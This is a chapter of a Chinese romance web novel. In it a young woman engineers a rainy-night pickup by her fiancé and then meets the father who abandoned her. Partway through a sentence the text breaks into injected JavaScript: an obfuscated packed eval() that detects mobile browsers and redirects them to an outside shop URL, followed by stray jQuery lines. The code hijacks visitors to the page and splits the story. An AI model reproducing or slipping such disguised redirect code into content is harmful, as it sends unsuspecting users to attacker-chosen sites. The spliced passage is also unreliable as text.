晚宴散场,知禾拢了拢披肩,缓步走向地下停车场。
高跟鞋敲击地砖的声响在空旷车库中回荡,她忽然停步,从随身的小包里掏出翻盖小镜子,照了照自己的嘴唇。
唇色既不可太浓艳,太浓便失了轻盈感,显得过于端庄老气;也不可过浅,否则在灯光下会显得寡淡,毫无气色。脱离了晚宴灯光,嘴唇上的雾面枫叶红色过于浓重了,知禾抽了一片湿巾擦了部分,又用手指晕染了几下。
浓淡适宜。
她这才收回镜子。
指尖还残留着湿巾的微凉,她抬眸望向远处——A座403号位。那处车位自然空空如也,生活助理已经按照她的吩咐提前把车开回了帝都大学附近的公寓。
知禾抿唇,故意摇头,作出懊恼之态,从随身小包里拿出手机。她转了个身,特意面对着隔壁的404号车位。
那里停了一辆黑色的劳斯莱斯。
她认得车牌,是谢聿修的车。
于是,嘴角小幅度地上扬了一下。
知禾指尖在手机屏幕边缘轻轻一滑,解锁界面亮起微光,却并未点开任何应用。垂眸盯着屏幕,光影在睫毛下投出细碎的阴影,仿佛在等什么提示音响起。
劳斯莱斯车内,车载电台正播报着暴雨蓝色预警。
“现在是22点05分,欢迎收听SK天气广播,今夜帝都会遭遇极端天气,根据气象台监测,台风海葵即将登陆本市,请市民朋友们尽量减少外出,注意出行安全......”
蒋青看向后面,谢先生正闭目养神,姿态放松地倚靠在后座上,长腿交叠,搭在膝盖上的手有条不紊地轻轻敲击着。
像是听到了什么,谢聿修指尖顿住,忽然睁开眼,目光沉静地落向车窗外。柳知禾正站在404号车位旁,地下车库的穿堂风掀起她披肩一角,像一片欲飞未飞的蝶翼。
电台声音仍在继续:“……台风中心预计于凌晨前后抵达城区,最大阵风可达十二级。”
蒋青以为先生是在担心锦山湖的老宅,说:“先生,老宅那边您放心,院里院外的小楼我都安排上了强化钢玻璃罩着,台风天绝对安全!”
谢聿修没应声,只将视线从知禾身上移开,抬手按下了车窗按钮。
知禾蹙着眉,面上的表情纠结又无措:“我知道……现在是下班时间了,但......外面正在下暴雨,你能来酒店接我回公寓吗?”
又过了一会儿,不知道对面说了什么。
知禾喉间微动,指尖不自觉摩挲着手机冰凉的边框,声音轻得几乎被电台杂音吞没:“……你身体不舒服的话还是休息吧,我也可以打车的。”
收起并没有拨出电话的手机,知禾眸中划过几丝暗芒,但长睫微颤时又是一副无措委屈的模样,她叹了一口气,背影像是认命似的往酒店内走去。
谢先生开窗的举动略显突兀,蒋助理正觉奇怪,便听见车外不远处传来柳小姐的声音。外头暴雨如注,柳小姐显然无人来接。
蒋青眼观鼻,鼻观心,默默等自家老板下指令。
漫长的几秒过后,谢聿修终于开口,声音低沉而清晰:“去酒店正门,等十五分钟。”
蒋青应声,方向盘一打,劳斯莱斯稳而无声地滑出地下车库。
车载电台还在播报:“……预计降雨将有两到三天,局部地区伴有雷电。”
谢聿修重新闭目,神色淡然而平和,手指微微舒展,指尖轻轻点了两下膝盖,像是不经意间拂去了一件极小的事,尔后便彻底安放下来,再无多余的动作。
*
半岛酒店靠海,且距离市中心较远。这里虽多为富人聚集,但他们很少打车,因此出租车和网约车因接不到生意,都不愿往这个方向来。
出租车是肯定等不到的。
知禾站在酒店大厅的观景玻璃前,外面雨势湍急如瀑,豆大的雨点密集落下,若是站在雨中哪怕一秒,恐怕都会被砸得狼狈不堪。
而在那滂沱大雨之中,停着一辆挂着熟悉车牌的黑色劳斯莱斯,车窗玻璃被雨水砸得哗啦作响。
知禾唇边勾起一抹浅笑,这是她计划得逞后才会流露的神情——向来淡漠的眼底,也只在此刻染上一丝温度。她施施然起身,踏出酒店,准备去撩拨她的未婚夫。
不过变故来得比想象中快。
不知从哪儿冲过来一个孩子,将她撞得踉跄了几步。知禾扶住玻璃窗稳住身形,手机却从掌心滑落,啪嗒一声摔在地上,屏幕裂成蛛网般的碎纹。
她蹲下身捡起,按了几下开机键,毫无反应。
“……摔坏了啊。”
语气里倒没什么恼怒,只是微微怔了一瞬,像在盘算这意外要如何收场。
她抬眼望向那辆黑色劳斯莱斯,雨幕中车灯晕开两团暖黄光晕。知禾想,她的计划没有失败的余地了。
没了手机,在暴雨天,真是寸步难行。
知禾这才转头看向撞坏她手机的罪魁祸首。
男孩并不怵她,看起来格外理直气壮。
“活该,谁让你站在这里的,我都被你撞得痛死了!”他傲慢地仰着头,两只浅色眼睛的间距很窄,一幅不屑一顾的模样,“而且,你差点把我的模型弄坏了,它可是很贵的,摔了你可赔不起!”
知禾看向他手里那泛着银色光芒的飞机模型,好整以暇地弯弯唇,“你是谁家孩子?”
男孩扬起下巴,声音脆亮:“我爸爸是郑季源!”
知禾指尖一顿,笑意未散,却悄然压了几分。她垂眸看着那架银色飞机模型,机翼边缘在灯光下泛出冷冽的光泽。
“哦?”她轻轻应了一声,抬眼时目光已如初雪覆枝,静而锐,“你爸爸欠我的可不少......”
男孩不解,刚要反驳,远处传来一声低唤。
“小和,怎么又不乖了!”
知禾脸色微变。
那道在噩梦里无数次出现的声音,无数次说过的话,再一次在耳边响起。
他居然给自己的小儿子取了和自己一样的名字。
知禾的右手小指微不可察地蜷了一下,目光越过男孩肩头,落在酒店大堂正在往这里走的中年男人身上。
他西装笔挺,腕上那块百达翡丽在灯光下泛着冷光,眉眼与记忆里分毫不差,只是眼角添了细纹,步伐却依旧沉稳如松。
在金钱的滋养下,任是谁也看不出十几年前抛妻弃女的不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481566|201772||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
堪与狼狈。
男孩蹦跳着扑过去:“爸爸!她欺负我!”
郑季源目光扫向知禾手里碎了屏的手机,大概知道发生了什么,于是掏出一张名片,递了过来。
“不好意思,幼子顽劣,你摔碎的手机,我会原价赔偿。”
知禾垂眸,看见那张烫金卡片上“华协医院院长郑季源”几个字泛着哑光,像一道未愈的旧疤。
有些债,从来可不是钱能填平的。
她忽然笑了一下,极淡,极轻,仿佛笑给十年前在孤儿院备受欺凌的小女孩听。
“郑院长,您太客气了。”知禾接过名片,声音不疾不徐,“我哥哥是明柳集团的柳雅臣,最近集团有一款新药正与华协医院合作;我目前在帝都大学医学院就读,也还请您多多关照。”
郑季源眼底闪过一丝意外,旋即扬起社交场上惯用的得体笑容:“原来是苏城柳家,失敬。柳小姐这大暴雨天气准备怎么走,需不需要我们送你一程?”
知禾唇角微弯,弧度恰到好处。
她朝酒店门外那辆车淡淡瞥去一眼,“不用了,”她收回视线,语气温和而疏离,“我未婚夫就在门外。”
郑季源笑着点点头,并未多问,转身与旁人寒暄去了。
知禾站在原地,指腹无意识摩挲着那张名片,目光落在那张与记忆中别无二致的脸上,唇边的笑意未减分毫,眼底却一寸一寸凉了下去。
她转身走出酒店旋转门,高跟鞋敲击大理石地面的声音清脆而稳定。门外肆虐的风雨打过来,雨水顺着发丝在肩头洇开深色痕迹。
玻璃门映出她模糊的轮廓,与身后那对父子的身影重叠又分离。
她没有回头,只是在旋转门里,听见男孩小声问:“爸爸,她的眼睛和我们长得一样,是浅褐色的。”
郑季源的脚步微滞,却只低声道:“别乱说。”
真可笑。
知禾曾经想过无数次见到生父的场景——复仇之后他跪在面前忏悔,或者未复仇前她需要蛰伏以防被认出。
可现实却是他递来一张名片,像递出了一张超市小票。
他根本没有认出来。
雨水顺着她下颌线滑落,她忽然想起孤儿院铁皮屋顶漏雨时,自己也是这样仰着头,数着一滴、两滴、三滴……直到数不清的雨。
那时她以为长大就能把所有雨都挡在外面。
可原来有些雨,永远都不会停。
远处车灯刺破雨幕,一束光扫过她苍白的脸——那辆莱斯莱斯正缓缓驶来酒店门口。
后座车门无声滑开,谢聿修迈步而出,黑色缎面伞已在手中撑开,他不疾不徐地走近,伞面微倾,稳稳覆向她头顶。
“去哪里,我送你。”
嗓音低缓,穿过雨声,落在她耳畔。
知禾指尖一顿,雨声被隔绝在外,伞下方寸之间,寂静得不像话。
他垂眸看她,伞檐又压低半寸,替她挡开斜泼而来的风雨。知禾闻到他袖口淡淡的带来书墨气息的木香,混着雨水的潮湿,像山涧初融的雪水漫过青石。
心跳微滞。
这是她谋划的一场相遇,可这一刻,呼吸却比预想中乱了一拍。